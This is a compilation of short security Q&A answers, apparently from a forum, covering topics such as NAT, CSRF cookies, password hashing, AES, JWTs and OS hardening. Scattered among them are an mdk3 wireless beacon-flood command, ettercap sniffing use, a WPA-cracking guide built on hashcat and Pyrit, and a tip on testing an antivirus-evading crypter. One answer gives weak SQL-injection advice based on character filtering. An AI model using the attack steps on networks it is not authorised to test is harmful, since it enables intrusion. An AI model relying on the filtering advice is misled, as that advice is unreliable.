Any package passed from your device D to the router R is treated the following way:

D looks up the destination IP and notices that it's not in its network
D sends the package to its configured gateway R
R notices that the destination IP is not in a network it's directly connected to and therefore intents to send it to its gateway, the hotels router/gateway.
R runs in NAT-mode. Therefore D's package is masqueraded before being sent.
R modifies the packages sender information to contain its own MAC and IP (IP is R's IP in the hotel network)
An answer to this package take the same route vice versa. R receives it, changes the destination information to D in its private network and passes it to D.

The security benefit is, that none of the devices outside of your routers private network can see any device in it, except the router itself. While this prevents attacks targeting your devices directly, your router can still be attacked. In addition, this does NOT encrypt your traffic by default. Your router still sends your data through the hotel's network, just like your device gave it to your router.

Using a VPN encrypts everything you send, even while it travels through the hotel's network until it reaches the VPN gateway. If this is your objective, your router alone is not sufficient.

Your options are either using a VPN, encrypted Proxy connection (SOCKS for example) or strictly enforcing HTTPS (or another encryption) on every connection you use (which is rather tricky).


Is there benefit to an Anti-forgery cookie with sameSite:none?

No, it won't negate the purpose of using it since the framework's Antiforgery validation mechanism will remain the same. The samesite attribute should not replace having a CSRF Token. Instead, it should co-exist with that token in order to protect the user in a more robust way (cf. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#samesite-cookie-attribute).
What you should keep in mind though, is:

Cookies with SameSite=None must now also specify the Secure attribute (they require a secure context/HTTPS).
Chrome 85 doesn't allow insecure SameSite=None cookies


BCrypt password hashing with user email as salt?

A bcrypt salt must be 128-bit long, that's why using email addresses can't work, since their length aren't fixed.

Moreover, salts used for password hashing must be unique. An email address, even if marked as unique in your database, could also be used as a salt in another database on another website. That's why you should generate one randomly.

Since salts aren't secret, you could fetch the salt associated with the email address the user wants to login with (via AJAX), perform the first bcrypt calculation, and send the result to the server.

But that's not a good idea from a security perspective. Please see this question to understand why hashing the password client-side isn't needed.


DoS Reflection attack using CharGen protocol

In my experience, it is not used today very frequently. SSDP and TCP amplification seem to be the "trending" attack vectors.

Every widely used UDP protocol that sends unauthenticated clients responses much larger than the request will be weaponized at some point.


Is encryption/decryption done in the cloud when using CMK keys?

Yes, that is a basic function of AWS KMS to encrypt/decrypt an object under a CMK.
When you encrypt data directly with KMS, it must be transferred over the network as all the cryptographic operations are performed in the backing HSM keystore.

AWS KMS provides low latency cryptographic operations on HSMs by design.
Thus there is a limit of 4 KB on the amount of plaintext that can be encrypted in a direct call to the encrypt function. The KMS Encryption SDK can be used to encrypt larger messages.

KMS uses symmetric encryption as asymmetric encryption is computationally more expensive.


How to detect if a Windows application is secretly taking print screen and sending to a remote server?

I see three viable paths to figure out if the app is spying on you:

As you suggest, try to hook into Windows to figure out if a print screen command is issues. This will not catch everything though - maybe it is figuring out the content of the screen without using any Windows API, or maybe it spies on you by some other method than looking at the screen. How to do this is more of a Windows question than a security question, so I will not answer it here. (And frankly, I have no idea how to do it.)
Look at the traffic the program is sending. This can be done with a program like Wireshark. I would run it on an other machine on the network, though, since a really evil program might be smart enough to figure out that it is being monitored if you run it on the same computer.
Decompile the program and reverse engineer it. This requires a lot of time and skill, but it could be argued that it would give you the best answer.

None of these methods are completely failsafe, and I am tempted to say that if you don't think you can trust the people selling you the program maybe you should not run it at all.


Yes - live booting via removable media can enable the adversary access (read-only or read-write, depending on drivers) to the local HD.  Without going into too many details, an OS can only provide protection while it's loaded.  So if you bypass the OS, then the data is not protected.

With that said, you can protect against this type of situation by implementing physical controls.  You can lock down the BIOS/firmware on a PC to disable boot from removable media and network (PXE boot).  However, if the adversary has physical access to the system, they can easily walk away with the HD or perhaps the entire system and pop the HD into another PC.

Alternatively or in conjunction with the above, you can also protect the data through encryption.  You can selectively encrypt data or you can use Full Disk Encryption.  FDE encrypts all data on the HD with the exception of a small boot loader.  FDE makes it much more difficult for an adversary to access the data, even when they have physical access to the PC.  The only way the adversary can decrypt the data is by entering the correct authentication token (i.e. password, USB key, smart card, etc) or in rare instances, weaknesses in the FDE implementation (but this is extremely rare).


Can I have a certificate on one server and the key on another?

I don't want Ngnix to decrypt all traffic like a MITM. Nginx should pass all encrypted traffic to Apache without leaking the IP-Address of Apache.

In this case you don't want to have a (reverse) proxy for HTTP but you just want to pass the data stream without any changes at the TCP level to the real host. nginx can do this with the stream backend.

Note that this does not make nginx serve the certificate and Apache the key. Instead Apache has both the certificate and key and nginx none of these. Since the certificate is not bound to an IP address there is no need for nginx to provide the certificate itself, it only needs to pass through the connection to Apache.


I was able to resolve this issue of the MAC address not changing by adding the -m option to mdk3.

mdk3 wlan0 -b -m


Can a local root certificate make a user more susceptible to phishing?

Nowadays, any phishing operator can set-up a phishing site with a valid SSL/TLS certificate for free. This happens a lot with Let'sEncrypt, but happened in the past with other CA's as well. And phishing site operators do use SSL/TLS more and more frequently.

The main issue here is that most Internet user believes HTTPS means the website is safe to visit, it is secure. Which is not true. People don't understand that HTTPS means basically only that the communication between the browser and webserver is secured.

So if you are concerned about users being phished via SSL/TLS sites, invest energy in education, test users with phishing sites and teach them when they failed how they could have avoided/spotted the phishing site.

Root certificates in the trusted root certificates can increase the risks at different areas, but phishing is ain't the priority here.


Remote Biometric Authentication using mobile phones

Biometrics should never be used for direct remote authentication. It suffers two major flaws:

it must be stored in clear text or at least with an invertible encryption on the server - it has been discussed many times why it is not possible to store a hash of a fingerprint, mainly because what the captor sees may be slightly different on each time
it cannot be revoked if compromised

So if one server has an image of your fingerprint to authenticate you, and if someone manages to get an image of it (from the server, from your passport, from a beer glass, etc.) he will be able to authenticate on behalf on you and the only thing you will be able to do is to find another authentication method.

The correct way (which is described on a Microsoft's page about that is to have a private key on a local system (say a mobile phone) and that key is locally secured by your fingerprint. But even in that case, all is stored on the mobile phone(*) (the private key, and an image of the fingerprint in an invertible form), so if it is stolen you must immediately ask the server to revoke the current key. The good point is that as the key is an asymetric key independant of the fingerprint, you can easily revoke it, and create a new one to use on your new phone.

(*) That means that is the phone can be unlocked with the fingerprint, you have not a multi-factor authentication system, but only a something you have.

That being said, for securing a local device, a fingerprint is probably less secure than a good password because it may exist on your passport and on the last glass you have used, but certainly more secure than a trivial one and at least you should never forget it...


There are known attacks against full AES. Using Biclique Cryptanalysis, full AES with a 128 bit key has been reduced to 126 bits of entropy, which seems to be the best result for key recovery attacks so far. The key space is, however, still impractical to search. At 1015 operations per second, which is the approximate computing power of a very large and expensive supercomputing cluster today, to find a key would still require an average time of 8.5 × 1022 seconds (2126 operations/1015 operations per second), or about 2.7 quadrillion years. The only known attacks against full AES also has the tiny problem of requiring petabytes of disk space. All in all, not very practical.

The main reason it is stronger than it's predecessor, the DES cipher, is due to it's larger key size. The fact that it is newer also reduce the window that cryptanalysts have had to come up with various attacks. Properly implemented AES has no known, practical attacks.


Is a basic question. You should validate EVERYTHING on your server side. The back-end is the right place to make validations. Of course javascript validations are useful too to drive standard users into the right values, but for hackers (or any advanced user) is very easy to trick.

It's suppossed you have a database on back-end and you know what kind of food is able to be assigned to each user. You should check if the received value is present on the valid recordset. If is ok you can go on with your workflow. If not, you can show an error and stop the proccess.

Another important problem you'll face is not only the logical bypassing. Beware of special chars and filter everything dangerours like single quotes, double quotes, dashes, semicolons, etc... or you'll face too a sql injection or a XSS (cross site scripting) attack. That is another story... but I mention it because is very important too.


Where is the data generated by ettercap -T -i wlan0 saved?

As per basic bash syntax you can use ettercap -T -i wlan0 > dump.pcap to redirect the output to a file instead of printing to stdout.


Store credit card numbers in password manager?

IANAL but generally speaking the cardholder is theoretically slightly more at risk using a password manager.

There are several distinct relationships involved.

Merchants who accept and store cards are accountable to their acquiring banks to do so in PCI-compliant ways. If they suffer a breach, they may be liable for the fraud conducted as a result of the breach.

Consumers using cards do so under the terms of cardholder agreements with their issuing banks, which have language that dictates that consumers have to keep the card numbers secret and safe.

Password managers are explicit in disavowing responsibility for the secrecy or custody of any data they store, and have no relationships with issuers or banks.

In theory, if a password manager's systems are breached, consumers using those systems could be found to have inappropriately shared what they were to have kept secret.


Can I use stormpath user management service with a XACML library like BALANA?

It depends on your architecture. In principle you can use XACML with any user management tool or authentication management. The main questions are:

where do you insert your PEP?
How will it grab the user identity?
How will it pass it to the PDP?
Will the PDP need to call an underlying PIP? Will it need to call Stormpath to retrieve user attributes?

For more information on the XACML architecture and language you can check out the Axiomatics developer blog:

XACML Architecture
XACML Policy Language


If communications between the game server and client are insecure then the only thing you are protecting is the information sent over the secure channel to the login server. An attacker can still take over the session on the game server and hence exploit the identity without the credentials.

  Hashing the IP

While it is true that IP spoofing is hard, it's not impossible. Also this would only have some value as an indicator of identity if IP addresses were not shared and did not change mid-session, neither of which is true.

Without TLS on the game server you have no security. Good security needs lots more things.

  this will have to work fast, very fast.

TLS does add a performance overhead, but there is scope to influence this significantly and it's just one component of your performance budget.

BTW the question you linked to is predicated on combining authentication and function of a service scaling poorly when combined. This is nonsense. There are good reasons for separating authentication to a dedicated service - it has very specific and exacting security requirements, hence using an off the shelf product has attractions, also the concomitant isolation makes reuse of the authentication service easier.


Finding the reason behind an RDP Certificate Change (man in the middle attack?)

This can be narrowed down to a single device by first investigating the certificate on the server itself (access the console and RDP localhost to get the current certificate). Then, with a client computer, move farther away one network device at a time.

Once you've found the culprit, investigate the configuration: it could be a legitimate feature you have turned on by accident.


How can i deal with management who want 'Domain Admin' access?

Firstly I would answer the question "Is it within my remit to be worried by this". Presumably the sys-admins have a team lead or line manager, and it is their responsibility, not yours. You may be letting emotions cloud judgement a bit.

A good place to start if you want to get involved regardless is to propose some level of change control. Putting all changes to your environment through a change process would at least force the errant manager to justify his changes and decisions.


Is JavaScript needed for browser code execution vulnerabilities?

All browser exploits do not necessarily use Javascript to reach their needs.

A browser plugin can be used to escape a browser sandbox for example.

This means that a malicious person could create a website, knowing that his victim uses vulnerable plugin X (that parses the text of each visited page), and display text on his website that, once parsed by the vulnerable plugin, would escape the browser sandbox and execute code remotely (in this case an exploit in the plugin would be leveraged to exploit a flaw in the browser)

As soon as an external input is read by a browser, a risk exists. In theory a maliciously crafted JPEG could have nasty bits that would make the parser lose its head - in this case good luck finding such an exploit, but you get the point :)

Note that disabling Javascript prevents most exploits from executing. For example, many malware toolkits use Javascript to detect what version of Flash and Java are installed to serve the most appropriate exploit to the user - disabling Javascript would prevent such toolkit to even start fingerprinting the browser


What hardware technology (GPU, FPGA) is fastest at generating RSA keys?

This question is about economics. Otherwise, there is a simple answer: whatever system you use to generate RSA key pairs, just buy two of them and you will generate twice as many key pairs per second. So your question must be:

For a given budget, which kind of technology (GPU, FPGA) will help generate the most RSA key pairs in a given time frame ?

Then we can begin to give some answers. On the paper, the FPGA will be better. Indeed, the FPGA is reconfigurable, which means that you can make a dedicated circuit and do not have to "pay" for parts you do not need. The FPGA has a fixed overhead because of its reconfigurability: namely, you cannot clock it as high as you would with a fixed, non-reconfigurable circuit (by a factor of roughly 2 or 3). On the other hand, a GPU will come with a lot of things that you do not need for RSA key pair generation, including a lot of RAM management. The really killer point is the lack of wide multiplication in GPU: RSA is about big integers and multiplications, and it really needs multipliers which can multiply, for instance, 64-bit integers, yielding 128-bit results. A basic CPU (that from a PC) can do that. GPU are optimized for floating-point operations and will be limited to, at best, 53 bits of precision for the result.

Some people have nonetheless tried to do RSA on GPU; see for instance this article (it is about RSA private key usage, not generation, but we can consider the results as roughly applicable because RSA key pair generation is mostly primality testing, which is modular exponentiation). A GPU appears to be, very roughly, about 4 times as efficient as a CPU of comparable price.

For FPGA, there are a number of documented implementations (e.g. this one) but comparisons with GPU are hard because they do not work with the same units.

GPU are consumer electronics: they really are off-the-shelf and anybody can buy some. If you want to build a machine which generate RSA key pairs, you will get a working system in much less time by using GPU than by using FPGA; however, using basic CPU (i.e. a few PC) will get you there even much faster. If you really have a hard bandwidth goal and are ready to invest quite a lot in development, then FPGA or dedicated ASIC are the way to go. That's what Hardware Security Module vendors do.


Importance of a short expire time on JWTs

It depends on the requirements of the host and network that you're in .

As with any password an JWT/cookie or whatever it may be, the longer the item is available without change the more time a hacker has for it to be broken.

I personally have my JWTs secret generated with a random key upon the web application starting.

I set a life span on JWTs to be no longer than 5 hours. You can also look for other items in the cookie like OS, browser , IP address ect. It depends on how you want to handle it.

You can have all JWTs killed at the end of office hours too.

  3 hour access token for a session and something like 2 weeks expire time if the user chooses the "stay logged in" option.However, this would kinda make the short expire time useless.

I agree. Encourage users to utilize lastpass or keypass might be an option. I personally thinking that logging in once every 5 hrs is not an inconvenience and is a cheap cost for doing business.

Let me know if this answers your question or helps.


Client Side Encryption algorithm: security + is padding algorithm needed in this case?

1) It could be, yes. See also Is this RSA/AES combination good? and should I be using RSA or AES?

2) Yes. See What specific padding weakness does OAEP address in RSA?

It looks like you are trying to implement your own crypto. This is a bad idea. Furthermore, you mention you already have an SSL connection, so I don't really see the point of adding additional encryption on top of that.

If you really want this, you should use a higher-level interface. If you use GPG or SSL you don't have to worry about padding or combining RSA and AES.


An idea would be to use the EICAR string. This string was developed to test anti-virus. Try to make a program with that, see if it triggers your av and then apply your crypter.


The PSK is not 'converted' to hexadecimal but if doing the calculation by hand it is often expressed that way to simplify the process.  As the manpage indicates,

  wpa_passphrase pre-computes PSK entries for network configuration blocks of a
  wpa_supplicant.conf file. An ASCII passphrase and SSID are used to
  generate a 256-bit PSK

This means, you provided the passphrase and the ssid, which are two parts of the calculated SSID.  The passphrase and SSID can be expressed as hexadecimal during the process if you want to think of it that way (its just a way of expressing the data, its not really a conversion) and they are used to compute a one way hash (using SHA) becoming the PSK, which is then used during the handshake (only after steps are taken to confirm the other side also knows the PSK in a similar one-way manner, part of the four way handshake).  It is never sent in the clear to the extent that observation will do anything other than allow you to confirm that you have successfully guessed the passphrase.

Edit: more info requested

The WPA/WPA2 process is pretty intricate, here is a good question/answer that goes into more specifics about key handling. In summary though, the passphrase/password is never sent in the clear or even in a reversibly encrypted form, it is turned into a "preshared key" by using the passphrase + SSID and then computing a (theoretically) one-way hash, known as the PSK, which is used during the handshake and even that isn't sent in the clear (because it would allow a replay attack) so it is only communicated between client and host via further encryption steps.


The two are functionally equivalent - the DMZ is effectively in a sandwich, as it has to have connections from the outside world firewalled, but also have firewalls restricting access from it to the internal network.

While the latter diagram is often what happens (for cost reasons - you need less firewalls) the first one is considered safer as you can use two different makes of firewall, which helps avoid an attack on the firewall breaching both of them. Where you use one firewall, you use sets of rules for each direction and each connection - and functionally this is the same as the sets of rules in the second example.

This is just a slight improvement in security, as generally you don't attack the firewalls - you use the open ports to go straight through and attack the webserver, mailserver, or even pass straight through to attack the database, but layers of security all help.


CSP: upgrade-insecure-requests - what happens with https-incompatible ressources?

1. What happens if an upgrade fails?

Exactly the same thing that would happen if a non-upgraded HTTPS request failed. The spec talks about rewriting requests. Exactly how this is done is explained in section 4.1 of the spec, but the essence is that http:// is replaced with https://. That means that once the request is rewritten it is indistinguishable from a request that was HTTPS from the beginning.

To be honest I can't find any good section of the spec to quote where this is crystal clear. But example one and three quite directly show that this is the case.

2. What will be reported?

No successful upgrades, no failed upgrades, nothing. From section 3.1 of the spec:

  Monitoring the upgrade-insecure-requests directive has no effect: the directive is ignored when sent via a Content-Security-Policy-Report-Only header.


Are two DNS MX records pointing to the same IP a availability risk (single point of failure)?

No.
Taken from Wikipedia (Single point of failure - Wikipeda):

  A single point of failure (SPOF) is a part of a system that, if it fails, will stop the entire system from working. SPOFs are undesirable in any system with a goal of high availability or reliability, be it a business practice, software application, or other industrial system.

Since in your case if the server with the ip 192.168.0.1 shuts down the MX service will still be able to work since it has another backup server (192.168.1.1) this is not a SPOF problem and all is okay.


How identifiable is a caricature made from a photo?

Caricatures and facial recognition software:

Your assumption that "a hand drawn caricature will not leave meaningful markers for facial recognition software" is being studied. See these results from Abaci and Akgul in "Matching facial attributes in caricature-photograph pairs":

  Our facial attribute based matching approach defines 32 qualitative features (i.e., gender, hair color, face shape, etc.) for identifying a subject. Then these qualitative features are used to match a caricature to a photograph. In our experiments, we use genetic algorithms and achieve 69% recognition rate at 10% false acceptance rate.

I discovered a second study by Klare, Bucak, and Jain, titled "Towards Automated Caricature Recognition", and they found:

  Using only qualitative features, the matching accuracy (at FAR=10.0%) was improved to nearly 57% (using Logistic Regression+NNMKL+SVM). While the image descriptor-based method performed poorly with respect to the qualitative features, it proved valuable when added to the fusion process: Logistic Regression+NNMKL+SVM+LBP with LDA had an accuracy of 61.9%.

Note: I wouldn't be able to explain this because I myself don't understand how they got their results, but I've shared their findings since they are authority figures.

So, I suppose if someone really wanted to find out who you were, and they had the wherewithal, and a bit of luck, they could conceivably find your identity based on an uploaded caricature, but it seems improbable. Moreover, even if they had the desire to, they'd have to jump through some challenging hoops, unless you crossed paths with a researcher in the area.

Caricatures and human recognition:

I'll add just a bit on your comment that caricatures will make you easier to identify. I was surprised to read this bit of research:

  Although caricatures are often gross distortions of faces, they frequently appear to be super-portraits capable of eliciting recognition better than veridical depictions. This may occur because faces are encoded as distinctive feature deviations from a prototype. The exaggeration of these deviations in a caricature may enhance recognition because it emphasizes the features of the face that are encoded.

Crazy, huh?


As pointed out in the comments, there is no other risk then using normal ssh with password.

This means that from the client you need to go through the common check of hostkey or fingerprint and then everything (passwords, keys and all communication) is encrypted.

You can even have a look into ssh-copy-id, since it is just a simple shell script doing the "magic", which consist of password-based login, copy your key there, set correct permissions. As addition it is trying to make sure that the key was successfully copied and works fine for pubkey authentication.


Does OpenBSD's security protect against identical vulns in other OSs?

As OpenBSD documentation clearly states it in bold red characters in their introduction about ports:

  The packages and ports collection does NOT go through the same
  thorough security audit that is performed on the OpenBSD base system.
  Although we strive to keep the quality of the packages collection
  high, we just do not have enough human resources to ensure the same
  level of robustness and security. Of course security updates for
  various applications are committed to the ports tree as soon as
  possible, and corresponding package security updates are made
  available as snapshots for -current.

This means a few things:

OpenBSD security claims is only valid as long as the base system is concerned.
Security updates for the third-party packages will only be applied on the package source code from the ports tree and the -current branch. They will not be available for binary packages, even-though binary packages is the officially recommended way to go to install third-party software.
It also mentions a lack of resources which also explains why the software version available for OpenBSD may be outdated, which can have security impact for the end-user.

With all this in mind, the security posture of the OpenBSD OS regarding third-party software is quite bad. Hopefully, a third-party commercial company (M:Tier) provide its own update channel for OpenBSD users to make things a bit better.

OpenBSD goal is to promote clean and sane coding measure and a "Secure by default" OS. While installing third-party package remains possible, this may affect this goal and should be done with a clear understanding of the consequences on the overall system security.


Removing execute permissions on `/tmp` or mounting it with `noexec` flag?

You are actually discussing three separate hardening techniques.

Separate Partitions

Separate partitions does two things for you. It first isolates systems. This can be beneficial in many ways not just security such as for storage concerns. From the security standpoint, you isolate those directories which a globally accessed, and can easily remove, rebuild, and redeploy without the work of you boot partition needing a full rebuild.

Second, backups. It not uncommon to run backup systems across a partition home dir and use a config management tool such as Chef or Puppet on the root system. Roots system configs rarely change, and in a full rebuild situation, it usually becomes more beneficial to deploy "/" files based on Chef or Puppet to maintain standards, than recover users files, other than restoring config files from backup.

Mounting

It's been a while, and I don't have my Nix system in front of me, but should should be able to go into the fstab file and edit the /tmp directory to use the NOEXEC flag. This should not require a separate partition. The flag from the MAN PAGES:

  noexec

  Do not allow direct execution of any binaries on the mounted
  filesystem. (Until recently it was possible to run binaries anyway
  using a command like /lib/ld*.so /mnt/binary. This trick fails since
  Linux 2.4.25 / 2.6.0.)

It does what it says.

CHMOD

Change Mode is used to change permission at the File/Directory level. If you read the man page for chmod, you can see that -x grants executable rights to Files, and ACCESS rights to directories.


Xbox and Playstation copyright protection vs PC

consoles these days are completely closed ecosystems, to the point where their components are not even interchangeable ( for example a Xbox internal hard drive cannot be inserted into another xbox, or the flash memory which stores the operating system and settings on the Nintendo 3ds is encrypted with a key which is unique to the console )

They are not user upgradable or servicible in the slightest , in addition to this there are many other protections built in ( for example on the Xbox 360 the majority of communication between major components on the motherboard are encrypted )

You are right in the sense that the majority of current console hardware is almost identical to consumer grade computers, but due to the fact that only signed code can be ran on the hardware ( and this is enforced via hardware and software )

Hell my 3ds is almost identical to my raspberry Pi at a low level, except for the fact that I can boot whatever the hell I want on my Pi

If a pc manufacturer was to enforce something like this they would loose the entire server market overnight .


Help with hash functions and pseudo-random functions

You pretty much answered your own question. In addition to being unable to determine the parameters (conditions in your words), a PRF should be indistinguishable from, lets say, true randomness or a random oracle.


Strange Event Log Entry - Windows Server 2008

0xc0000064 means that the user name in the logon attempt did not match a known account.  That would be the "Unknown user name" part of "Unknown user name or bad password". ;)


Are mulitple Service Accounts more secure than a single account?

If you have one account for 3 services this means that if one of the services have a security issue and an attacker can get in, he will access to the other services files for example. By having different accounts, you reduce the impact of this effect. This depends on your case but if you have 3 services such as HTTP, DNS and an LDAP is a good idea to have different accounts for them in general.


Is the OpenSSH server using a fallback, hard-coded DH parameter for 2048bits?

Fallback DH groups are defined in source code here. The current group can be 2k or 4k. But it really depends on which version are you using (there were some changes recently).

Note the RFC 4419, which specifies:

  Servers and clients SHOULD support groups with a modulus length of k
     bits, where 1024 <= k <= 8192.  The recommended values for min and
     max are 1024 and 8192, respectively.

And the recent release notes for future openssh-7.2:

  ssh(1), sshd(8): increase the minimum modulus size supported for
  diffie-hellman-group-exchange to 2048 bits.


Is hashing a string a secure manner for generating passwords?

First things first, you should use a password manager to solve the problem that you're trying to solve. A 256-bit hash like SHA-256 outputs to 32 bytes of hexadecimal characters. This means that for every character, there are 16 possible choices, 0-9 and a-f. Using a password manager like KeePass, you can generate a 32-digit passphrase using 64 or more possible characters per digit, which makes brute forcing harder.

Offline password managers like KeePass use a single strong passphrase of your choosing to encrypt a database of as many passwords as you like, so those passwords can be as complex as you'd possibly want. You should definitely do that rather than rolling your own methods of generating passwords. Rotating passwords becomes easier as well.

Now comes the cryptography to answer the general question implied by the title.

No, you should absolutely not do your own hashing of passwords.

There is an entire class of cryptographic algorithms called "key stretching functions" or key strengthening functions or password-based key derivation functions which are designed specifically for taking a key and generating a secure one-way hash which is resilient to the kind of attacks you care about. Use Scrypt if it's possible, Bcrypt if Scrypt isn't possible, and PBKDF2 if neither Bcrypt nor Scrypt are possible. There are libraries for these key stretching functions in your language of choice.

A hash function is a cryptographic primitive. There are a few applications for using SHA-1 or SHA-256 directly, but deriving passwords is best handled by key derivation functions. A good use case for a cryptographic hash function as a primitive is for generating checksums of files. Hashes were designed for exactly this use case: verification without authentication.

Cryptographic hash functions were not designed to resist the kind of attacks that key stretching functions are supposed to stand up against. Programs like oclHashcat can compute anywhere in the range of 1 billion SHA-256 hashes per second on fairly inexpensive hardware. Key-derivation functions like Scrypt and Bcrypt were designed to be attacked and to slow down attackers so that they can generate, say, one password per second on a CPU core. Scrypt was designed to be flexible to prevent the GPU attacks that oclHastcat leverages against these algorithms.

As many key stretching functions use either a hash for the input or for the output, the question is raised: what does a key stretching function give me that a hash does not? Doesn't the attacker still need to sweep the whole key space, as in 2256 in SHA-256's case? The answer to that is decidedly no and here's why: hashing (and even salting!) a user-entered password isn't going to distribute well over 2256 choices. Since computing SHA-256 is so cheap, computationally speaking, I can just brute force and start with 'a', then 'b', etc. at billions of times per second. Alternatively, I can use a good word list like the RockYou list, and oclHashcat will try these out for me and even append random salts to them; all this is done billions of times per second, so it's not that hard. A key stretching function on the other hand, should fairly evenly distribute the key over the entire key space (ie 2256 choices, more than the amount of particles in the known universe), making every password search more or less exhaustive if the function is a good one.  Do remember that if you took a 1PB (petabyte, 1000/1024 terabytes) file, generated a SHA-256 sum of it, then flipped a single bit at some random place in the file, your second SHA-256 sum would be completely different and would be entirely unrelated to the first checksum.

If the key stretching function is well enough implemented, the attacker will be forced to use their brute force attacks or their wordlists (or both) on the key stretching function itself, which is designed to be slow. This means that they're left without options and forced to wait beyond the lifetime of the universe ;)

TL;DR: Store your passwords in an offline password database like KeePass, and if you're trying to derive passwords, use a key-derivation function. That's what both of these things are designed for.

In order of priority, use one of the following offline password databases:

KeePass (best compatibility across operating systems)
Password Safe (no Linux)

In order of priority, use one of the following KDFs:

scrypt
Bcrypt
PBKDF2


What are the problems with users sharing network passwords?

The reason behind not having shared passwords should be pretty simple. If you are able to record network activity and log Jane does X illegal activity on the network, well if everyone know's Jane's password, you can't attribute the activity to Jane. You'd be hard pressed to prove in court that she committed the act as everyone could have logged in as Jane and acted with her account. It's a legal issue mostly, which should be pretty easy to sell to management.

So if you know your manager's password you can log in as your manager, do whatever illegal activity you want, and now your manager could potentially be fired because someone above him thinks he was doing things he shouldn't have been doing and ultimately didn't actually do, but it sure looked like he did.


As Daisetsu said, you're not doing anything wrong: CPU is just very slow at hashing WPA passwords. While I don't have experience on it, OSX shouldn't be a problem either.
The WPA/2 spec demands 4096 rounds of HMAC-SHA1 hashes to derive the final key. This equates to 16,384,000 general HMAC-SHA1 hashes/second at ~4k keys/second. Individually, they're rather fast. However WPA was designed in part to make brute force attacks harder (as well as more secure in general), and thus implemented many rounds of hashes instead of using just one.
Relying on CPU for cracking WPA isn't going to get you very far, as you've noticed. A much faster method would be GPU cracking. Even without a powerful GPU, you'll most likely get better results.
In my eyes, there are two major contenders in the GPU cracking game: hashcat and Pyrit;
hashcat
Site: https://hashcat.net/hashcat/
Tutorial: https://www.blackmoreops.com/2014/03/27/cracking-wpa-wpa2-with-hashcat-kali-linux/
hashcat is great if you don't have a lot of hard drive space. You can feed it input with crunch (like you're doing now), and it supports an incredible amount of algorithms; not just WPA. If you stop hashcat, you can pick it up later by specifying the start string in crunch, as hashcat gives you regular updates on its speed and current password as well as other things.
Pyrit
Site: https://github.com/JPaulMora/Pyrit
Tutorial: https://www.blackmoreops.com/2014/03/10/cracking-wifi-wpawpa2-passwords-using-pyrit-cowpatty/
Pyrit is great for precomputational attacks. Pyrit allows you to specify an SSID (since the SSID is used in the HMAC algorithm) and compute a table of keys based off of an input (be it a file or crunch) and keep them. If you knew the SSID you were after (say, Netgear; a default name) you could just compare the keys without having to recompute them over and over again. This is great because the comparison process is incredibly easy and will still use the gpu. With my SLI GTX650TI boost setup, I got about 55k hashes/second, and one-hundred million comparisons/second (if my memory is correct; this was a while ago).
Pyrit is more useful in the long run, as you have only to compute the keys once, then compare them with the captured handshake in your pcap files. With hashcat, you can get to cracking and comparing at the same time without the need to precompute everything and then compare it.
The difference is time: if you have an 8 character password, and you're going to try all possible combinations from aaaaaaaa to zzzzzzzz and your password was mmmmmmmm, Pyrit would have to compute all possible keys from aaaaaaaa to zzzzzzzz and then compare it, whereas hashcat would would get to mmmmmmmm, hash it, compare it, and tell you its found the answer without having to go through all the other possible candidates.
Now, if you then changed the password and wanted to compare another handshake, then Pyrit would be your boy, as you've already computed all the keys for aaaaaaaa to zzzzzzzz for that SSID, whereas hashcat would have to recompute them. Basically, if you will re-use an SSID many times, go for Pyrit. If its a one off, use hashcat.
As for raw speed numbers, this site has a very nice table comparing the speeds of many different graphics cards. In my experience, hashcat and Pyrit have about the same hashing speeds, so if that number is your main concern, using either GPU hashing program will yield approximately the same results. Your main concern between programs will be the re-use of that SSID.
I hope this makes sense. If not, let me know and I'll try to explain it better!


Bad time on phone

Short answer: just fix the time on your phone.

Long answer: see below.

I'm only guessing here. But this is what can happen with very fresh (just issued) certs: they can be out of validity.
But not in the way that you usually encounter in the wild, namely: EXPIRED certs but the other way round: NOT YET VALID certs.
And since you say that other sites worked just fine, then I'm guessing that this is what happened on your phone: according to the phone's clock that cert was not valid yet.
BUT: since you said the clock was not a full day off target and some time has passed: try again. If my guess was correct, then it should work now.
As an aside: cert issuers are are aware of this issue and sometimes BACKDATE the validity date to work around this issue.
Let's Encrypt seems to backdate by one hour. See:

https://community.letsencrypt.org/t/time-zone-considerations-needed-for-certificates/23130
https://community.letsencrypt.org/t/ability-to-generate-a-certificate-with-a-valid-from-date-in-the-past/37847


How do I determine S/MIME encryption used?

Mail client encrypts message symmetrically with a random key. This key is then asymetrically encrypted with recipient's public key and attached to the message. Recipient then using his private key decrypts the symetric key and decrypts the content.

The symmetric algorithm used to encrypt the message can vary. I googled for this and it seems, that RC2 was used before and now it's TripleDES. The specific mode of operation is specified in the p7m file. Mail clients should have implemented both of them and I'm suer the modern ones use TripleDES. The asymmetric alhorithm for encrypting the key, according to this rfc, is Diffie-Hellman or RSA.

If you want to look inside the encrypted e-mail and you have the private key of recipient (you can send enc'd mail to yourself), look here. I asked for a way to display and interpret the p7m content. The bootom line is to use a tool called dumpasn1.


First off, not all ransomware are created equal: just like any software, some ransomware is well-written, while some are poorly-written. You can get an overview of major ransomware variants on wikipedia/ransomware. Some ransomware - notably CryptoLocker - do use lists of file extensions to decide which files to encrypt, and why not? Users knowledgeable enough to change their file extensions probably have backups and won't pay you anyway. As @usr points out, you can still get a lot of people with simple approaches. That said, some ransomware, like CryptoWall, is very sophisticated, and while I don't know how it works, I can speculate on what's possible.

As you say, files often contain a "file signature" - a short hex code near the start of the file that indicates what type of file it is. Here are two lists of these "magic numbers" from Wikipedia: [1], [2].

The Windows OS itself relies quite heavily on file extensions in the file name and is notoriously brittle if you change it, but that doesn't mean all software needs to be so terrible.

For example, there's a standard Unix utility called file that will look at the magic number and tell you what type of file it is, there's no reason ransomware can't do the same.


Can a Radius server mitigate an ARP spoofing attack?

No.

Let me give you a real life scenario example. Let's say you are going to use JumpCloud to manage your RADIUS. You have to create users and then those users are going to login with their JumpCloud's username/password. If among your users there is a disgruntle employee/student once he/she is logged in he/she can still perform an ARP spoofing attack and you need to investigate anyway.

While you investigate you can see that the ARP spoofing is coming from IP address 10.58.0.240 using the MAC address 98:01:a7:b3:7e:ef but you cannot tell if that machine was put on the network by Alice, Bob, Mike, etc...

So you cannot tell who is the disgruntle employee/student.

EDIT: The countermeasure you can take is this: setup an IDS (Intrusion Detection System) that can be hardware (Barracuda)  or software (Snort, Suricarta) that will push out of the network the machine that is performing the ARP Spoofing.


